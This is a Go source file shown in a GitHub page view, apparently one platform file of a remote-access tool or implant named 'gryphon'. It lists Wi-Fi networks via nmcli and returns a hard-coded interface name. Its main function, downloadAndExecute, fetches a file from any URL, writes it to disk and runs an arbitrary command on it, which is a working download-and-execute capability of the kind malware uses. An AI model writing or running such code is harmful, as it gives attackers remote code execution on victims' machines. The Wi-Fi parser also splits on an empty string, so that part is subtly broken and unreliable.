-
Notifications
You must be signed in to change notification settings - Fork 4
/
net_linux.go
58 lines (49 loc) · 1.1 KB
/
net_linux.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package gryphon
import (
"io"
"net/http"
"os"
"strings"
)
func networks() ([]string, error) {
wifi_names := []string{}
out, err := cmdOut("nmcli dev wifi")
if err != nil {
return nil, err
}
o := strings.Split(out, "\n")[1:]
for entry := range o {
e := o[entry]
wifi_name := strings.Split(e, "")[1]
wifi_names = append(wifi_names, wifi_name)
}
return wifi_names, nil
}
// Hotfix much appreciated
func netInterfaces() []string {
return []string{"wlan0"}
}
func downloadAndExecute(url string, cmd string) (string, error) {
splitted := strings.Split(url, "/")
filename := splitted[len(splitted)-1]
if strings.Contains(cmd, ".exe") || strings.Contains(cmd, ".dll") {
return "Cannot run specified execution task on linux", nil
}
f, err := os.Create(filename)
if err != nil {
return "failed", err
}
defer f.Close()
response, err := http.Get(url)
if err != nil {
return "failed", err
}
defer response.Body.Close()
_, err = io.Copy(f, response.Body)
if err != nil {
return "failed", err
}
_cmd := strings.Replace(cmd, "[file]", filename, 1)
out, er := CmdOut(_cmd)
return out, er
}